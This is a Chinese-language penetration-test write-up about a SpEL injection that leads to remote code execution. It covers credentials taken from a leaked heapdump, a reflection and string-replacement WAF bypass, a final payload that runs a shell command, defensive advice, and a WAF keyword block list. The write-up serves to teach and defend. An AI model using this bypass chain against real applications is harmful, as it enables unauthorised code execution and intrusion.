记一次组合拳之SPEL
字数 1888 2025-09-23 19:27:46
SPEL表达式注入漏洞分析与利用
一、漏洞背景
SPEL (Spring Expression Language) 是Spring框架中的一种表达式语言,用于在运行时查询和操作对象图。当应用程序未正确处理用户输入的SPEL表达式时,可能导致远程代码执行(RCE)漏洞。
二、漏洞发现过程
1. 信息收集阶段
- 对目标站点进行常规信息收集
- 尝试弱密码攻击未果
- 前台接口无敏感信息
- 目录扫描发现heapdump文件泄露
2. 凭据获取
- 通过heapdump文件获取管理员密码
- 使用密码爆破获得管理员账号(用户名:manager)
3. 接口分析
- 进入内部界面后发现70多个接口
- 通过历史请求包分析发现可疑接口
- 关键参数名为
expr,值为#ticket,提示可能存在表达式注入
三、表达式语言对比
| 特性 | SPEL | EL表达式 | OGNL | MVEL |
|---|---|---|---|---|
| 变量引用 | #variable |
${var}或#{var} |
直接使用变量名 | 直接使用变量名 |
| 类调用 | T(java.lang.Math) |
不支持 | @java.lang.Math@max() |
@java.lang.Math@max() |
| 对象创建 | new java.lang.String() |
不支持 | 支持 | 支持 |
| 方法调用 | #obj.getName() |
${fn:length(list)} |
user.getName() |
user.getName() |
| 集合访问 | #list[0] |
${list[0]} |
list[0] |
list[0] |
| 运算符 | eq, ne等 |
==, !=等 |
==, !=等 |
==, !=等 |
四、漏洞验证与利用
1. 初步验证
- 尝试基本表达式:
expr=#{(1+8)},回显9,确认存在表达式注入 - 尝试直接实例化对象被WAF拦截
2. 绕过WAF限制
- 直接使用
new或T()被过滤 - 通过反射方式绕过:
''.class.getSuperclass().forName('java.lang.Runtime')
3. 完整利用链构造
- 获取Runtime类:
''.class.getSuperclass().forName('java.lang.suntime'.replace('s','R')) - 获取getRuntime方法:
.getMethod('getsuntime'.replace('s','R')) - 调用方法获取Runtime实例:
.invoke(null) - 执行命令:
.exec('command')
4. 最终Payload
''.class.getSuperclass().forName('java.lang.suntime'.replace('s','R')).getMethod('getsuntime'.replace('s','R')).invoke(null).exec('ping -c 4 127.0.0.1')
五、防御措施
-
输入验证:
- 对用户输入的表达式进行严格过滤
- 使用白名单机制限制允许的表达式内容
-
安全配置:
- 使用
SimpleEvaluationContext替代StandardEvaluationContext - 禁用危险的SPEL特性
- 使用
-
代码审查:
- 检查所有使用
SpelExpressionParser的代码 - 确保不将用户输入直接传递给表达式解析器
- 检查所有使用
-
WAF规则:
- 拦截包含危险关键词的请求(如
Runtime,ProcessBuilder,getClass等)
- 拦截包含危险关键词的请求(如
六、总结
本次渗透过程展示了从信息收集到漏洞利用的完整思路:
- 通过heapdump泄露获取凭据
- 分析接口发现潜在注入点
- 绕过WAF限制实现RCE
- 关键点在于对Java反射机制和SPEL特性的深入理解
漏洞利用的核心在于:
- 通过字符串操作绕过关键字过滤
- 利用反射机制获取危险类和方法
- 构造完整的调用链实现命令执行
这种漏洞的危害性极高,开发人员应严格避免将用户输入直接作为表达式解析。